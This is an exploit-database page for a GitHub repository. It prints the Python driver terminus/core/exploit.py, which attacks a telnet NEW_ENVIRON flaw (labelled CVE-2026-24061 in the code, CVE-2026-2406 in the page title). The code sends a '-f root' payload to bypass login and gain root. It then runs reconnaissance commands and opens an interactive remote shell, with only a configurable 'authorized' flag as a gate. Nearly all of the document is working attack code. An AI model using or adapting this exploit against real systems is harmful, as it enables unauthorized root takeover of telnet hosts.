Exploit database

GH-5ead058a184dae8a6872319aa22b96a1

ridpath/terrminus-cve-2026-2406

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-2406

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files5
ridpath/terrminus-cve-2026-2406Revision 773fb5defe90

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

terminus/core/exploit.py

Python · 10,395 bytes
import asyncio
import re
import sys
import threading
from dataclasses import dataclass
from typing import Any

from terminus.core.terminus_engine import ExploitResult, TerminusNegotiator
from terminus.utils.logging import get_cve_logger

logger = get_cve_logger("exploit")


@dataclass
class ExploitConfig:
    authorized: bool = False
    single_target_only: bool = True
    payload: str = "-f root"
    collect_evidence: bool = True
    interactive_mode: bool = False


class AuthorizationError(Exception):
    pass


class MultiTargetError(Exception):
    pass


class TerminusExploiter:

    def __init__(self, config: ExploitConfig | None = None, timeout: float = 10.0):
        self.config = config or ExploitConfig()
        self.timeout = timeout
        self.negotiator: TerminusNegotiator | None = None
        self._exploit_count = 0
        self._waiting_for_newline = False
        self._state_lock = threading.Lock()

    def _validate_authorization(self):
        if not self.config.authorized:
            raise AuthorizationError(
                "Exploitation requires explicit authorization. "
                "Set authorized=True in ExploitConfig or use --exploit flag in CLI."
            )

    def _validate_single_target(self):
        if self.config.single_target_only and self._exploit_count >= 1:
            raise MultiTargetError(
                "Safety restriction: Exploitation is limited to single targets. "
                "Batch exploitation is not permitted."
            )

    async def exploit(
        self,
        target: str,
        port: int = 23,
        payload: str | None = None,
        interactive: bool = False,
        keep_session: bool = True,
    ) -> ExploitResult:
        self._validate_authorization()
        self._validate_single_target()

        exploit_payload = payload or self.config.payload

        logger.exploit_attempt(
            target=f"{target}:{port}",
            msg=f"CVE-2026-24061 exploitation attempt initiated with payload: {exploit_payload}",
        )

        should_close_on_failure = True

        try:
            self.negotiator = TerminusNegotiator(timeout=self.timeout)

            handshake_result = await self.negotiator.handshake(target, port)

            if not handshake_result.success:
                logger.error(
                    f"Handshake failed: {handshake_result.error}", target=f"{target}:{port}"
                )
                return ExploitResult(
                    success=False,
                    authenticated=False,
                    root_access=False,
                    output="",
                    error=f"Handshake failed: {handshake_result.error}",
                )

            if not handshake_result.new_environ_supported:
                logger.warning(
                    "Target does not support NEW_ENVIRON - not vulnerable to CVE-2026-24061",
                    target=f"{target}:{port}",
                )
                return ExploitResult(
                    success=False,
                    authenticated=False,
                    root_access=False,
                    output="",
                    error="Target does not support NEW_ENVIRON option",
                )

            exploit_result = await self.negotiator.exploit(exploit_payload)

            if exploit_result.success:
                self._exploit_count += 1
                should_close_on_failure = False

                if exploit_result.root_access:
                    logger.exploit_attempt(
                        target=f"{target}:{port}",
                        msg="CVE-2026-24061 exploitation SUCCESSFUL - root access obtained",
                    )
                else:
                    logger.exploit_attempt(
                        target=f"{target}:{port}",
                        msg="CVE-2026-24061 exploitation partially successful - authenticated but not root",
                    )

                if self.config.collect_evidence:
                    evidence = await self._collect_evidence()
                    exploit_result.evidence = evidence

                if interactive or self.config.interactive_mode:
                    await self._interactive_shell()
                elif not keep_session:
                    await self.negotiator.close()
                    self.negotiator = None
            else:
                logger.warning(
                    f"Exploitation failed: {exploit_result.error}", target=f"{target}:{port}"
                )

            return exploit_result

        except Exception as e:
            logger.error(f"Exploitation error: {str(e)}", target=f"{target}:{port}")
            return ExploitResult(
                success=False,
                authenticated=False,
                root_access=False,
                output="",
                error=f"Exploitation exception: {str(e)}",
            )
        finally:
            if self.negotiator and should_close_on_failure:
                await self.negotiator.close()
                self.negotiator = None

    async def execute_command(self, command: str) -> str:
        if not self.negotiator or not self.negotiator.is_connected():
            raise RuntimeError("No active exploitation session. Call exploit() first.")

        try:
            output = await self.negotiator.send_command(command)
            return output
        except Exception as e:
            logger.error(f"Command execution failed: {str(e)}")
            raise

    async def _collect_evidence(self) -> dict[str, Any]:
        if not self.negotiator:
            return {}

        evidence = {}

        try:
            uid_output = await self.negotiator.send_command("id")
            evidence["uid"] = uid_output.strip()

            env_output = await self.negotiator.send_command("env")
            evidence["environment"] = env_output.strip()

            hostname_output = await self.negotiator.send_command("hostname")
            evidence["hostname"] = hostname_output.strip()

            uname_output = await self.negotiator.send_command("uname -a")
            evidence["system_info"] = uname_output.strip()

            whoami_output = await self.negotiator.send_command("whoami")
            evidence["user"] = whoami_output.strip()

            evidence["banner"] = self.negotiator.get_banner()
            evidence["new_environ_supported"] = str(self.negotiator.supports_new_environ())

            logger.info(
                "Evidence collection completed", extra={"evidence_keys": list(evidence.keys())}
            )

        except Exception as e:
            logger.warning(f"Evidence collection incomplete: {str(e)}")

        return evidence

    async def _interactive_shell(self):
        if not self.negotiator or not self.negotiator.is_connected():
            raise RuntimeError("No active session for interactive shell")

        print("\n[*] CVE-2026-24061 Interactive Shell Started")
        print("[*] Type 'exit' or press Ctrl+C to quit\n")

        loop = asyncio.get_event_loop()
        reader_task = asyncio.create_task(self._socket_reader())

        try:
            await loop.run_in_executor(None, self._stdin_reader, loop)
        except KeyboardInterrupt:
            print("\n[*] Session ended by user")
        finally:
            reader_task.cancel()
            try:
                await reader_task
            except asyncio.CancelledError:
                pass

            if self.negotiator:
                await self.negotiator.close()

    async def _socket_reader(self):
        if not self.negotiator or not self.negotiator.session:
            return

        try:
            while self.negotiator.is_connected():
                try:
                    raw_data = await self.negotiator.session.receive(timeout=0.5)
                    if raw_data:
                        display_data = self._process_telnet_stream(raw_data)
                        if display_data:
                            sys.stdout.buffer.write(display_data)
                            sys.stdout.buffer.flush()
                except asyncio.TimeoutError:
                    continue
                except Exception:
                    break
        except asyncio.CancelledError:
            pass

    def _stdin_reader(self, loop):
        if not self.negotiator or not self.negotiator.session:
            return

        try:
            buffer = []
            while self.negotiator.is_connected():
                char = sys.stdin.buffer.read(1)
                if not char:
                    break

                buffer.append(char)
                
                if char[0] in [10, 13]:
                    full_command = b''.join(buffer)
                    buffer = []
                    
                    with self._state_lock:
                        self._waiting_for_newline = True

                    asyncio.run_coroutine_threadsafe(
                        self.negotiator.session.send_raw(full_command), loop
                    )
        except (KeyboardInterrupt, EOFError):
            pass

    def _process_telnet_stream(self, data: bytes) -> bytes:
        if not self.negotiator or not self.negotiator.session:
            return b""

        clean_data, _, _ = self.negotiator.session.state_machine.parse_iac_sequences(data)

        ansi_escape = re.compile(rb"\x1b\[[0-?]*[ -/]*[@-~]")
        filtered_data = ansi_escape.sub(b"", clean_data)

        with self._state_lock:
            if self._waiting_for_newline:
                newline_pos = -1
                for idx, byte_val in enumerate(filtered_data):
                    if byte_val in [10, 13]:
                        newline_pos = idx
                        break

                if newline_pos != -1:
                    filtered_data = filtered_data[newline_pos + 1 :]
                    self._waiting_for_newline = False
                else:
                    return b""

        return filtered_data

    async def close(self):
        if self.negotiator:
            await self.negotiator.close()
            self.negotiator = None

    def is_connected(self) -> bool:
        return self.negotiator is not None and self.negotiator.is_connected()

    def get_exploit_count(self) -> int:
        return self._exploit_count

    def reset_exploit_count(self):
        self._exploit_count = 0